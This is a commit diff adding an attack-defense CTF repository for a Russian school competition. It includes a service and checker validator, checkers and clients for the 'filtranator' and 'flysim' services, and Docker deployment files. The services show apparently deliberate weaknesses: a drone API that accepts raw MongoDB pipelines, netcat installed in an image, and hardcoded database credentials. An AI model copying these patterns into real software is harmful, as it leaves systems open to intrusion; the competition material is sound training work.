adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

Submodule ctfcup24-school-ad deleted from 8b5a14a1a0

View File

@@ -0,0 +1,13 @@
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.

View File

@@ -0,0 +1,12 @@
# Финальный тур школьного этапа VIII Кубка CTF России
Исходные коды, разборы, эксплоиты и файлы для деплоя заданий с отборочного тура VIII Кубка CTF России, который проходил 20 декабря 2024 года в онлайн-формате.
[Сайт соревнований](https://ctfcup.ru/)
## Сервисы
| Таск | Автор |
|-------------------------------------|---------------|
| [filtranator](services/filtranator) | @phoen1xxx |
| [flysim](services/flysim) | @user_9_9_9_9 |

648
ctfcup24-school-ad/check.py Executable file
View File

@@ -0,0 +1,648 @@
#!/usr/bin/env python3
import argparse
import json
import os
import random
import secrets
import string
import subprocess
import time
import traceback
from collections import defaultdict
from concurrent.futures import ThreadPoolExecutor
from datetime import datetime
from enum import Enum
from pathlib import Path
from threading import Lock, current_thread
from typing import List, Tuple
import yaml
from dockerfile_parse import DockerfileParser
BASE_DIR = Path(__file__).resolve().absolute().parent
SERVICES_PATH = BASE_DIR / "services"
CHECKERS_PATH = BASE_DIR / "checkers"
MAX_THREADS = int(os.getenv("MAX_THREADS", default=2 * os.cpu_count()))
RUNS = int(os.getenv("RUNS", default=10))
HOST = os.getenv("HOST", default="127.0.0.1")
OUT_LOCK = Lock()
DISABLE_LOG = False
DC_REQUIRED_OPTIONS = ["services"]
DC_ALLOWED_OPTIONS = DC_REQUIRED_OPTIONS + ["volumes", "version"]
CONTAINER_REQUIRED_OPTIONS = ["restart"]
CONTAINER_ALLOWED_OPTIONS = CONTAINER_REQUIRED_OPTIONS + [
"pids_limit",
"mem_limit",
"cpus",
"build",
"image",
"ports",
"volumes",
"environment",
"env_file",
"healthcheck",
"depends_on",
"sysctls",
"privileged",
"security_opt",
]
SERVICE_REQUIRED_OPTIONS = ["pids_limit", "mem_limit", "cpus"]
SERVICE_ALLOWED_OPTIONS = CONTAINER_ALLOWED_OPTIONS
DATABASES = [
"redis",
"postgres",
"mysql",
"mariadb",
"mongo",
"mssql",
"clickhouse",
"tarantool",
]
PROXIES = ["nginx", "envoy"]
CLEANERS = ["dedcleaner"]
VALIDATE_DIRS = ["checkers", "services", "internal", "sploits"]
ALLOWED_CHECKER_PATTERNS = [
"import requests",
"requests.exceptions",
"s: requests.Session",
"sess: requests.Session",
"session: requests.Session",
"r: requests.Response",
"resp: requests.Response",
"Got requests connection error",
]
FORBIDDEN_CHECKER_PATTERNS = ["requests"]
ALLOWED_YAML_FILES = [
"buf.yaml",
"buf.gen.yaml",
"application.yaml",
]
class ColorType(Enum):
INFO = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
BOLD = "\033[1m"
ENDC = "\033[0m"
def __str__(self):
return self.value
def generate_flag(name):
alph = string.ascii_uppercase + string.digits
return name[0].upper() + "".join(random.choices(alph, k=30)) + "="
def colored_log(*messages, color: ColorType = ColorType.INFO):
ts = datetime.utcnow().isoformat(sep=" ", timespec="milliseconds")
print(
f"{color}{color.name} [{current_thread().name} {ts}]{ColorType.ENDC}", *messages
)
class BaseValidator:
def _log(self, message: str):
with OUT_LOCK:
if not DISABLE_LOG:
colored_log(f"{self}: {message}")
def _fatal(self, cond, message):
global DISABLE_LOG
with OUT_LOCK:
if not cond:
if not DISABLE_LOG:
colored_log(f"{self}: {message}", color=ColorType.FAIL)
DISABLE_LOG = True
raise AssertionError
def _warning(self, cond: bool, message: str) -> bool:
with OUT_LOCK:
if not cond and not DISABLE_LOG:
colored_log(f"{self}: {message}", color=ColorType.WARNING)
return not cond
def _error(self, cond, message) -> bool:
with OUT_LOCK:
if not cond and not DISABLE_LOG:
colored_log(f"{self}: {message}", color=ColorType.FAIL)
return not cond
class Checker(BaseValidator):
def __init__(self, name: str):
self._name = name
self._exe_path = CHECKERS_PATH / self._name / "checker.py"
self._fatal(
os.access(self._exe_path, os.X_OK),
f"{self._exe_path.relative_to(BASE_DIR)} must be executable",
)
self._timeout = 3
self._get_info()
def _get_info(self):
self._log("running info action")
cmd = [str(self._exe_path), "info", HOST]
out, _ = self._run_command(cmd)
info = json.loads(out)
self._log(f"got info: {info}")
self._vulns = int(info["vulns"])
self._timeout = int(info["timeout"])
self._attack_data = bool(info["attack_data"])
self._fatal(
60 > self._timeout > 0,
f"invalid timeout: {self._timeout}",
)
@property
def info(self):
return {
"vulns": self._vulns,
"timeout": self._timeout,
"attack_data": self._attack_data,
}
def _run_command(self, command: List[str], env=None) -> Tuple[str, str]:
action = command[1].upper()
cmd = ["timeout", str(self._timeout)] + command
if env is None:
env = os.environ
env["PYTHONUNBUFFERED"] = "1"
env["PWNLIB_NOTERM"] = "1"
start = time.monotonic()
p = subprocess.run(cmd, capture_output=True, check=False, env=env)
elapsed = time.monotonic() - start
out = p.stdout.decode()
err = p.stderr.decode()
out_s = out.rstrip("\n")
err_s = err.rstrip("\n")
self._log(
f"action: {action}\ntime: {elapsed:.2f}s\nstdout:\n{out_s}\nstderr:\n{err_s}"
)
self._fatal(
p.returncode != 124,
f"action {action}: bad return code: 124, probably {ColorType.BOLD}timeout{ColorType.ENDC}",
)
self._fatal(
p.returncode == 101, f"action {action}: bad return code: {p.returncode}"
)
return out, err
def check(self):
self._log("running CHECK")
cmd = [str(self._exe_path), "check", HOST]
self._run_command(cmd)
def put(self, flag: str, flag_id: str, vuln: int):
self._log(f"running PUT, flag={flag} flag_id={flag_id} vuln={vuln}")
cmd = [str(self._exe_path), "put", HOST, flag_id, flag, str(vuln)]
out, err = self._run_command(cmd)
self._fatal(len(out) <= 1024, "returned stdout is longer than 1024 characters")
self._fatal(len(err) <= 1024, "returned stderr is longer than 1024 characters")
if self._attack_data:
self._fatal(out, "stdout is empty")
self._fatal(err, "stderr is empty")
self._fatal(flag not in out, "flag is leaked in public data")
# new flag ID is in stderr for attack_data checkers
return err
self._fatal(out, "stdout is empty")
# new flag ID is in stdout for checkers without attack_data
return out
def get(self, flag: str, flag_id: str, vuln: int):
self._log(f"running GET, flag={flag} flag_id={flag_id} vuln={vuln}")
cmd = [str(self._exe_path), "get", HOST, flag_id, flag, str(vuln)]
self._run_command(cmd)
def run_all(self, step: int):
self._log(f"running all actions (run {step} of {RUNS})")
self.check()
for vuln in range(1, self._vulns + 1):
flag = generate_flag(self._name)
flag_id = self.put(flag=flag, flag_id=secrets.token_hex(16), vuln=vuln)
flag_id = flag_id.strip()
self.get(flag, flag_id, vuln)
def __str__(self):
return f"checker {self._name}"
class Service(BaseValidator):
def __init__(self, name: str):
self._name = name
self._path = SERVICES_PATH / self._name
self._dc_path = self._path / "docker-compose.yml"
self._fatal(
self._dc_path.exists(),
f"{self._dc_path.relative_to(BASE_DIR)} missing",
)
self._checker = Checker(self._name)
@property
def name(self):
return self._name
@property
def checker_info(self):
return self._checker.info
def _run_dc(self, *args):
cmd = ["docker", "compose", "-f", str(self._dc_path)] + list(args)
subprocess.run(cmd, check=True)
def up(self):
self._log("starting")
self._run_dc("up", "--build", "-d")
def logs(self):
self._log("printing logs")
self._run_dc("logs", "--tail", "2000")
def down(self):
self._log("stopping")
self._run_dc("down", "-v")
def validate_checker(self):
self._log("validating checker")
cnt_threads = max(1, min(MAX_THREADS, RUNS // 10))
self._log(f"starting {cnt_threads} checker threads")
with ThreadPoolExecutor(
max_workers=cnt_threads,
thread_name_prefix="Executor",
) as executor:
for _ in executor.map(self._checker.run_all, range(1, RUNS + 1)):
pass
def __str__(self):
return f"service {self._name}"
class StructureValidator(BaseValidator):
def __init__(self, d: Path, service: Service):
self._dir = d
self._was_error = False
self._service = service
def _error(self, cond, message):
err = super()._error(cond, message)
self._was_error |= err
return err
def validate(self):
for d in VALIDATE_DIRS:
self.validate_dir(self._dir / d / self._service.name)
return not self._was_error
def validate_dir(self, d: Path):
if not d.exists():
return
for f in d.iterdir():
if f.is_file():
self.validate_file(f)
elif f.name[0] != ".":
self.validate_dir(f)
def validate_file(self, f: Path):
path = f.relative_to(BASE_DIR)
if f.name not in ALLOWED_YAML_FILES:
self._error(f.suffix != ".yaml", f"file {path} has .yaml extension")
self._error(f.name != ".gitkeep", f"{path} found, should be named .keep")
if f.name == "docker-compose.yml":
with f.open() as file:
dc = yaml.safe_load(file)
if self._error(isinstance(dc, dict), f"{path} is not dict"):
return
for opt in DC_REQUIRED_OPTIONS:
if self._error(opt in dc, f"required option {opt} not in {path}"):
return
if "version" in dc:
if self._error(
isinstance(dc["version"], str),
f"version option in {path} is not string",
):
return
try:
dc_version = float(dc["version"])
except ValueError:
self._error(False, f"version option in {path} is not float")
return
self._error(
2.4 <= dc_version < 3,
f"invalid version in {path}, need >=2.4 and <3 (or no version at all), got {dc_version}",
)
for opt in dc:
self._error(
opt in DC_ALLOWED_OPTIONS,
f"option {opt} in {path} is not allowed",
)
services = []
databases = []
proxies = []
dependencies = defaultdict(list)
if self._error(
isinstance(dc["services"], dict),
f"services option in {path} is not dict",
):
return
for container, container_conf in dc["services"].items():
if self._error(
isinstance(container_conf, dict),
f"config in {path} for container {container} is not dict",
):
continue
for opt in CONTAINER_REQUIRED_OPTIONS:
self._error(
opt in container_conf,
f"required option {opt} not in {path} for container {container}",
)
self._error(
"restart" in container_conf
and container_conf["restart"] == "unless-stopped",
f'restart option in {path} for container {container} must be equal to "unless-stopped"',
)
for opt in container_conf:
self._error(
opt in CONTAINER_ALLOWED_OPTIONS,
f"option {opt} in {path} is not allowed for container {container}",
)
if self._error(
"image" not in container_conf or "build" not in container_conf,
f"both image and build options in {path} for container {container}",
):
continue
if self._error(
"image" in container_conf or "build" in container_conf,
f"both image and build options not in {path} for container {container}",
):
continue
if "image" in container_conf:
image = container_conf["image"]
else:
build = container_conf["build"]
if isinstance(build, str):
dockerfile = f.parent / build / "Dockerfile"
else:
context = build["context"]
if "dockerfile" in build:
dockerfile = f.parent / context / build["dockerfile"]
else:
dockerfile = f.parent / context / "Dockerfile"
if self._error(
dockerfile.exists(), f"no dockerfile found in {dockerfile}"
):
continue
with dockerfile.open() as file:
dfp = DockerfileParser(fileobj=file)
image = dfp.baseimage
if self._error(
image is not None, f"no image option in {dockerfile}"
):
continue
if "depends_on" in container_conf:
for dependency in container_conf["depends_on"]:
dependencies[container].append(dependency)
is_service = True
for database in DATABASES:
if database in image:
databases.append(container)
is_service = False
for proxy in PROXIES:
if proxy in image:
proxies.append(container)
is_service = False
for cleaner in CLEANERS:
if cleaner in image:
is_service = False
if is_service:
services.append(container)
for opt in SERVICE_REQUIRED_OPTIONS:
self._error(
opt in container_conf,
f"required option {opt} not in {path} for service {container}",
)
for opt in container_conf:
self._error(
opt in SERVICE_ALLOWED_OPTIONS,
f"option {opt} in {path} is not allowed for service {container}",
)
for service in services:
for database in databases:
self._warning(
service in dependencies and database in dependencies[service],
f"service {service} may need to depends_on database {database}",
)
for proxy in proxies:
for service in services:
self._warning(
proxy in dependencies and service in dependencies[proxy],
f"proxy {proxy} may need to depends_on service {service}",
)
elif BASE_DIR / "checkers" in f.parents and f.suffix == ".py":
checker_code = f.read_text()
for p in ALLOWED_CHECKER_PATTERNS:
checker_code = checker_code.replace(p, "")
for p in FORBIDDEN_CHECKER_PATTERNS:
self._error(p not in checker_code, f'forbidden pattern "{p}" in {path}')
def __str__(self):
return f"Structure validator for {self._service.name}"
def get_services() -> List[Service]:
if os.getenv("SERVICE") in ["all", None]:
result = list(
Service(service_path.name)
for service_path in SERVICES_PATH.iterdir()
if service_path.name[0] != "." and service_path.is_dir()
)
else:
result = [Service(os.environ["SERVICE"])]
with OUT_LOCK:
colored_log("Got services:", ", ".join(map(str, result)))
return result
def list_services(_args):
services = get_services()
if outfile := os.getenv("GITHUB_OUTPUT"):
data = {
"include": [{"service": service.name} for service in services],
}
with open(outfile, "a") as f:
f.write(f"matrix={json.dumps(data)}")
def start_services(_args):
for service in get_services():
service.up()
def stop_services(_args):
for service in get_services():
service.down()
def logs_services(_args):
for service in get_services():
service.logs()
def validate_checkers(_args):
for service in get_services():
service.validate_checker()
def validate_structure(_args):
was_error = False
for service in get_services():
validator = StructureValidator(BASE_DIR, service)
if not validator.validate():
was_error = True
if was_error:
with OUT_LOCK:
colored_log("Structure validator: failed", color=ColorType.FAIL)
raise AssertionError
def dump_tasks(_args):
result = {"tasks": []}
for service in get_services():
info = service.checker_info
checker_type = "gevent"
if info["attack_data"]:
checker_type += "_pfr"
result["tasks"].append(
{
"name": service.name,
"checker": f"{service.name}/checker.py",
"checker_timeout": info["timeout"],
"checker_type": checker_type,
"places": info["vulns"],
"puts": 1,
"gets": 1,
}
)
colored_log("\n" + yaml.safe_dump(result))
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Validate checkers for A&D. "
"Host & number of runs are passed with HOST and RUNS env vars"
)
subparsers = parser.add_subparsers()
list_parser = subparsers.add_parser(
"list",
help="List services to test",
)
list_parser.set_defaults(func=list_services)
up_parser = subparsers.add_parser(
"up",
help="Start services",
)
up_parser.set_defaults(func=start_services)
down_parser = subparsers.add_parser(
"down",
help="Stop services",
)
down_parser.set_defaults(func=stop_services)
logs_parser = subparsers.add_parser(
"logs",
help="Print logs for services",
)
logs_parser.set_defaults(func=logs_services)
check_parser = subparsers.add_parser(
"check",
help="Run checkers validation",
)
check_parser.set_defaults(func=validate_checkers)
validate_parser = subparsers.add_parser(
"validate",
help="Run structure validation",
)
validate_parser.set_defaults(func=validate_structure)
dump_parser = subparsers.add_parser(
"dump_tasks",
help="Dump tasks in YAML for ForcAD",
)
dump_parser.set_defaults(func=dump_tasks)
parsed = parser.parse_args()
if "func" not in parsed:
print("Type -h")
exit(1)
try:
parsed.func(parsed)
except AssertionError:
exit(1)
except Exception as e:
tb = traceback.format_exc()
print("Got exception, report it:", e, tb)
exit(1)

View File

@@ -0,0 +1,77 @@
#!/usr/bin/env python3
import sys
import requests
import json
from checklib import *
from filtranator import *
def strcmp(str1,str2):
if (len(str1) != len(str2)):
return False
for i in range(len(str1)):
if(str1[i] != str2[i]):
if((str1[i] in os and str2[i] in os) or (str1[i] in ixs and str2[i] in ixs) or (str1[i] in qs and str2[i] in qs)):
continue
else:
return False
return True
class Checker(BaseChecker):
vulns: int = 1
timeout: int = 10
uses_attack_data: bool = True
def __init__(self, *args, **kwargs):
super(Checker, self).__init__(*args, **kwargs)
self.mch = CheckMachine(self)
def action(self, action, *args, **kwargs):
try:
super(Checker, self).action(action, *args, **kwargs)
except requests.exceptions.ConnectionError:
self.cquit(Status.DOWN, "Connection error", "Got requests connection error")
def check(self):
session = get_initialized_session()
username, password = rnd_username(), rnd_password()
self.mch.register(session, username, password, Status.MUMBLE)
self.mch.login(session, username, password, Status.MUMBLE)
img_value = rnd_string(20).upper()
self.mch.put_image(session,img_value,Status.MUMBLE)
value = self.mch.get_image(session)
self.assert_(img_value.replace('0','O').replace('1','I').replace('l','I'), value.replace('0','O').replace('1','I').replace('l','I'), Status.MUMBLE)
self.mch.logout(session,Status.MUMBLE)
self.cquit(Status.OK)
def put(self, flag_id: str, flag: str, vuln: str):
session = get_initialized_session()
username, password = rnd_username(), rnd_password()
self.mch.register(session, username, password, Status.MUMBLE)
self.mch.login(session, username, password, Status.MUMBLE)
self.mch.put_image(session, flag, Status.MUMBLE)
self.mch.logout(session, Status.MUMBLE)
self.cquit( Status.OK,public=json.dumps({"username":username}),
private=f"{username}:{password}",
)
def get(self, flag_id: str, flag: str, vuln: str):
s = get_initialized_session()
username, password = flag_id.split(":")
self.mch.login(s, username, password, Status.CORRUPT)
value = self.mch.get_image(s)
self.mch.logout(s, Status.CORRUPT)
self.assert_(value.upper().replace('0','O').replace('1','I').replace('l','I'), flag.upper().replace('0','O').replace('1','I').replace('l','I'), Status.CORRUPT)
self.cquit(Status.OK)
if __name__ == "__main__":
c = Checker(sys.argv[2])
try:
c.action(sys.argv[1], *sys.argv[3:])
except c.get_check_finished_exception():
cquit(Status(c.status), c.public, c.private)

View File

@@ -0,0 +1,91 @@
import requests
import pytesseract
import io
import sys
from PIL import Image, ImageFont, ImageDraw, ImageColor
from checklib import *
from PIL.PngImagePlugin import PngInfo
PORT = 6969
def text_to_image(
text: str,
font_filepath: str,
font_size: int,
color: (int, int, int), # color is in RGB
font_align="center",
):
#font = ImageFont.load_default(18)
font = ImageFont.load_default(18)
#box = font.getsize_multiline(text)
img = Image.new("RGBA", (400,400),color='black')
draw = ImageDraw.Draw(img)
draw_point = (0, 0)
draw.multiline_text(draw_point, text, font=font, fill=color, align=font_align)
return img
class CheckMachine:
@property
def url(self):
return f"http://{self.c.host}:{self.port}"
def __init__(self, checker: BaseChecker):
self.c = checker
self.port = PORT
def register(self, session: requests.Session, username: str, password: str,status: Status.MUMBLE):
url = f"{self.url}/register"
resp = session.post(url, data={"username": username, "password": password})
self.c.assert_(resp.text, "<p1>Sucessfully registered</p1>")
resp = session.post(
url, data={"username": username, "password": password}
)
self.c.assert_(resp.text, "<p1>User alredy exist</p1>",status)
def logout(self, session: requests.Session,status: Status.MUMBLE):
url = f"{self.url}/logout"
resp = session.get(url)
self.c.assert_(resp.text,'<p1>Sucessfully logout</p1>',status)
def login(
self, session: requests.Session, username: str, password: str, status: Status
):
url = f"{self.url}/login"
resp = session.post(url, data={"username": username, "password": password})
self.c.assert_(resp.text, "<p1>Sucessfully logged in</p1>",status)
resp = session.post(url, data={"username": username, "password": password})
self.c.assert_(resp.text, "<p1>Already logged in</p1>",status)
def put_image(self, session: requests.Session, text: str,status: Status.MUMBLE):
url = f"{self.url}/apply_filter"
kek = text_to_image(
text,
"./MonaSansCondensed-Black.otf",
40,
(120, 120, 120),
)
metadata = PngInfo()
metadata.add_text("flag", text)
bytex = io.BytesIO()
kek.save(bytex,format='PNG',pnginfo = metadata)
imgkek = bytex.getvalue()
files = {"image": ("img", imgkek, "multipart/form-data", {"Expires": "0"})}
resp = session.post(
url,
data={"filter": "none", "filename": "flag"},
files=files,
)
self.c.assert_(resp.text, "<p1>Image saved</p1>",status)
def get_image(self, session: requests.Session) -> str:
url = f"{self.url}/images"
resp = session.get(url)
img_bytes = io.BytesIO(resp.content)
if img_bytes.getbuffer().nbytes == 0:
return ''
img = Image.open(img_bytes)
print(img.text.keys(),file=sys.stderr)
text = img.text['flag']#pytesseract.image_to_string(img)
return text

View File

@@ -0,0 +1,166 @@
#!/usr/bin/env python3
import socket
import sys
import random
import string
import requests
import time
import json
import drone_client
import random_flight_plan
from checklib import *
def print(*args, **kwargs):
pass # disable print
def generate_random_datastring(length):
characters = string.ascii_letters + string.digits
random_string = "".join(random.choice(characters) for _ in range(length))
return random_string
def percent_50():
return random.randint(1, 2) == 1
class Checker(BaseChecker):
vulns: int = 1
timeout: int = 20
uses_attack_data: bool = True
def __init__(self, *args, **kwargs):
super(Checker, self).__init__(*args, **kwargs)
def action(self, action, *args, **kwargs):
try:
super(Checker, self).action(action, *args, **kwargs)
except requests.exceptions.ConnectionError:
self.cquit(
Status.DOWN,
"Connection error",
"Got requests.exceptions.ConnectionError",
)
def check(self):
client = drone_client.DroneClient(ip=self.host)
label = generate_random_datastring(random.randint(10, 30))
client.create_drone(
label=label, secret_data=generate_random_datastring(random.randint(10, 30))
)
time.sleep(1)
client.connect_to_drone()
vel = [random.randint(-3, 3), random.randint(-3, 3)]
pos = [random.randint(-20, 20), random.randint(-20, 20)]
client.update_velocity(vel)
vel_msg = client.wait_for_vel_msg(timeout=30)
self.assert_eq(
vel, vel_msg["new_velocity"], "Incorrect velocity handling", Status.CORRUPT
)
client.update_position(pos)
pos_msg = client.wait_for_pos_msg(timeout=30)
self.assert_eq(
pos, pos_msg["new_position"], "Incorrect position handling", Status.CORRUPT
)
drone_obj = client.wait_for_data_msg(timeout=30)
for _ in range(5):
if vel == drone_obj["velocity"]:
break
drone_obj = client.wait_for_data_msg(timeout=30)
self.assert_eq(
vel, drone_obj["velocity"], "Incorrect velocity handling", Status.CORRUPT
)
drone_obj_via_httpapi = client.get_drones_with_details(
json.dumps([{"$match": {"label": label}}])
)[0]
self.assert_eq(
drone_obj_via_httpapi["label"],
label,
"Incorrect HTTP API response",
Status.CORRUPT,
)
self.assert_eq(
drone_obj_via_httpapi["velocity"],
vel,
"Incorrect HTTP API response",
Status.CORRUPT,
)
self.assert_eq(
drone_obj_via_httpapi["id"],
drone_obj["id"],
"Incorrect HTTP API response",
Status.CORRUPT,
)
self.cquit(Status.OK)
def put(self, flag_id: str, flag: str, vuln: str):
fp = "\n".join(random_flight_plan.generate_plan(4, 7))
client = drone_client.DroneClient(ip=self.host)
client.create_drone(
label=generate_random_datastring(random.randint(10, 30)),
secret_data=flag,
flight_plan=fp,
)
self.cquit(
Status.OK,
f"{client.drone_id}",
json.dumps(
{
"drone_id": client.drone_id,
"control_key": client.control_key,
"flight_plan": fp,
}
),
)
def get(self, flag_id: str, flag: str, vuln: str):
# print('get FLAG by!', flag_id, '!!<-id')
drone = json.loads(flag_id)
if vuln == "1":
client = drone_client.DroneClient(ip=self.host)
client.drone_id = drone["drone_id"]
client.control_key = drone["control_key"]
client.connect_to_drone()
drone_obj = client.wait_for_data_msg(timeout=30)
expected_fl = random_flight_plan.get_expected_flight_log(
drone["flight_plan"], drone_obj["cur_time"], drone_obj
)
real_fl = drone_obj["flight_log"]
self.assert_eq(
sorted(expected_fl.split("\n")),
sorted(real_fl.split("\n")),
"Incorrect flight log",
Status.CORRUPT,
)
self.assert_eq(
flag, drone_obj["secret_data"], "Incorrect flag", Status.CORRUPT
)
self.cquit(Status.OK)
# if __name__ == '__main__':
# c = Checker("127.0.0.1")
# try:
# c.action("put", "", "TestFLAG234Fofkdjfn", "1")
# c.action("get",r'{"drone_id": "6756e4e9fb6b9f5011e88fa8", "control_key": "c3ff78e2", "flight_plan": "7 BOOSTY [drone] 1\n7 BOOSTX [drone] -1\n7 BOOSTX [drone] -2\n13 BOOSTY [drone] 2\n5 BOOSTY [drone] -1\n10 BOOSTY [drone] 2\n10 FIRE [drone]"}', "TestFLAG234Fofkdjfn", "1")
# c.action("check")
# except c.get_check_finished_exception():
# cquit(Status(c.status), c.public, c.private)
if __name__ == "__main__":
c = Checker(sys.argv[2])
try:
c.action(sys.argv[1], *sys.argv[3:])
except c.get_check_finished_exception():
cquit(Status(c.status), c.public, c.private)

View File

@@ -0,0 +1,132 @@
import socketio
import requests
import time
import json
from threading import Event
def print(*args, **kwargs):
pass # disable print
class DroneClient:
def __init__(self, ip="127.0.0.1"):
sio = socketio.Client()
self.base_url = f"http://{ip}:9000/"
self.sio = sio
self.drone_id = None
self.control_key = None
self.data_received_event = Event()
self.last_received_data = None
self.velocity_updated_event = Event()
self.last_received_veldata = None
self.position_updated_event = Event()
self.last_received_posdata = None
@sio.on("connect")
def on_connect():
print("Connected to server")
@sio.on("disconnect")
def on_disconnect():
print("Disconnected from server")
@sio.on("drone_connected")
def on_drone_connected(data):
print(f"Drone connection status: {data['data']}")
@sio.on("data_updated")
def on_data_updated(data):
if isinstance(data, dict):
self.last_received_data = data
self.data_received_event.set()
@sio.on("velocity_updated")
def on_velocity_updated(data):
if isinstance(data, dict):
self.last_received_veldata = data
self.velocity_updated_event.set()
@sio.on("position_updated")
def on_position_updated(data):
if isinstance(data, dict):
self.last_received_posdata = data
self.position_updated_event.set()
@sio.on("error")
def on_error(data):
print(f"Error: {data['data']}")
def wait_for_data_msg(self, timeout=None):
self.data_received_event.clear()
if self.data_received_event.wait(timeout):
return self.last_received_data
return None
def wait_for_vel_msg(self, timeout=None):
self.velocity_updated_event.clear()
if self.velocity_updated_event.wait(timeout):
return self.last_received_veldata
return None
def wait_for_pos_msg(self, timeout=None):
self.position_updated_event.clear()
if self.position_updated_event.wait(timeout):
return self.last_received_posdata
return None
def create_drone(self, label=None, secret_data=None, flight_plan=None):
response = requests.post(
f"{self.base_url}/create_drone",
timeout=8000,
json={}
| ({"label": label} if label else {})
| ({"secret_data": secret_data} if secret_data else {})
| ({"flight_plan": flight_plan} if flight_plan else {}),
)
if response.status_code == 200:
data = response.json()
self.drone_id = data["id"]
self.control_key = data["control_key"]
print(
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
)
return True
else:
print(f"Failed to create drone: {response.text}")
return False
def get_all_drones(self):
response = requests.get(f"{self.base_url}/get_drones")
print("All drones:", response.json())
def get_drones_with_details(self, with_what_details):
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
return response.json()
def connect_to_drone(self):
try:
self.sio.connect(self.base_url, socketio_path="/socket.io")
self.sio.emit(
"join_drone",
{"drone_id": self.drone_id, "control_key": self.control_key},
)
return True
except Exception as e:
print(f"Connection error: {e}")
return False
def update_position(self, position):
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
def update_velocity(self, velocity):
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
def disconnect(self):
try:
self.sio.disconnect()
except Exception as e:
print(f"Disconnection error: {e}")

View File

@@ -0,0 +1,88 @@
import random
def print(*args, **kwargs):
pass # disable print
def BOOSTX(drone, value):
drone["velocity"][0] += value
return f"Drone {drone['id']} boosted at X axis by {value}!"
def BOOSTY(drone, value):
drone["velocity"][1] += value
return f"Drone {drone['id']} boosted at Y axis by {value}!"
def FIRE(drone):
return f"Drone {drone['id']} fired!"
def SETFREQ(drone, frequency):
return f"Drone {drone['id']} freq set to {frequency}!"
def get_expected_flight_log(flight_plan, curr_time, drone):
new_log = ""
commands = flight_plan.split("\n")
for command in commands:
if not command.strip():
continue
parts = command.split()
if len(parts) == 0:
continue
expected_time = int(parts[0])
if not (curr_time > expected_time or abs(curr_time - expected_time) < 0.2):
continue
command_name = parts[1]
args = parts[2:]
func = globals().get(command_name)
if func and callable(func):
try:
typed_args = []
if len(args) > 0 and args[0] == "[drone]":
typed_args.append(drone)
args = args[1:]
typed_args.extend(
[
int(arg) if arg.replace("-", "", 1).isdigit() else arg
for arg in args
]
)
new_log += str(func(*typed_args)) + "\n"
except Exception as e:
print(f"Error calling {command_name}: {e}", flush=True)
else:
print(f"Unknown command: {command_name}", flush=True)
return new_log
def generate_plan(min_count, max_count):
num_commands = random.randint(min_count, max_count)
commands = []
for _ in range(num_commands):
command_type = random.choice(["BOOSTX", "BOOSTY", "FIRE", "SETFREQ"])
if command_type == "BOOSTX":
commands.append(
f"{random.randint(0, 8)} BOOSTX [drone] {random.randint(-2, 2)}"
)
elif command_type == "BOOSTY":
commands.append(
f"{random.randint(0, 8)} BOOSTY [drone] {random.randint(-2, 2)}"
)
elif command_type == "FIRE":
commands.append(f"{random.randint(0, 8)} FIRE [drone]")
else:
commands.append(
f"{random.randint(0, 8)} SETFREQ [drone] {random.randint(10, 100)}"
)
return commands

View File

@@ -0,0 +1,4 @@
requests==2.32.3
python-socketio==5.11.4
checklib==0.7.0
websocket-client==1.8.0

View File

@@ -0,0 +1,6 @@
requests==2.32.3
python-socketio==5.11.4
websocket-client==1.8.0
checklib==0.7.0
pillow == 11
pytesseract

View File

@@ -0,0 +1,2 @@
PyYAML==6.0.1
dockerfile-parse==1.2.0

View File

@@ -0,0 +1,11 @@
FROM ubuntu:20.04
RUN useradd --no-create-home --shell /bin/false --uid 1000 --user-group cleaner
COPY cleaner.sh /var/cleaner.sh
RUN chmod +x /var/cleaner.sh
RUN mkdir /tmp/data
ENTRYPOINT ["/var/cleaner.sh"]

View File

@@ -0,0 +1,13 @@
#!/bin/sh
while true; do
date -uR
find "/tmp/data/" \
-type d \
-and -not -path "/tmp/data/" \
-and -not -newermt "-900 seconds" \
-exec rm -r {} +
sleep 60
done

View File

@@ -0,0 +1,4 @@
FROM postgres
ENV TZ=Europe/Moscow
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
COPY db.sql /docker-entrypoint-initdb.d/database.sql

View File

@@ -0,0 +1,6 @@
CREATE TABLE Users (
username VARCHAR(256) NOT NULL,
password VARCHAR(256) NOT NULL
);
INSERT INTO Users (username,password) VALUES ('Test','Test')

View File

@@ -0,0 +1,52 @@
services:
filtranator:
build: server/
restart: unless-stopped
networks:
- filtranator_local
volumes:
- cleanx:/app/images
deploy:
resources:
limits:
cpus: 1
memory: 500M
ports:
- "6969:6969"
cleaner:
container_name: cleaner
build: cleaner
cpus: 0.25
pids_limit: 128
mem_limit: 128M
restart: unless-stopped
volumes:
- cleanx:/tmp/data
depends_on:
- filtranator
db:
container_name: db
build: db/
restart: unless-stopped
environment:
POSTGRES_USER: postgres
POSTGRES_DB: Users
POSTGRES_PASSWORD: password
PGDATA: /data/postgres
networks:
- filtranator_local
volumes:
- postgres:/data/postgres
deploy:
resources:
limits:
cpus: 1
memory: 500M
networks:
filtranator_local: {}
volumes:
cleanx: {}
postgres: {}

View File

@@ -0,0 +1,18 @@
FROM ubuntu:24.04
RUN apt-get update
RUN apt-get install -y python3 pip libpq-dev iproute2 netcat-traditional
RUN useradd -m ctf
RUN mkdir /app
WORKDIR /app
COPY ./ /app
RUN chmod +x ./server.py
RUN chmod +x ./filterer/filterer
RUN pip3 install -r ./requirements.txt --break-system-packages
RUN chown -R ctf:ctf /app/images
RUN chown -R ctf:ctf /app
USER ctf
EXPOSE 6969
CMD ./server.py

View File

@@ -0,0 +1,31 @@
#!/usr/bin/python3
import psycopg2
import sys
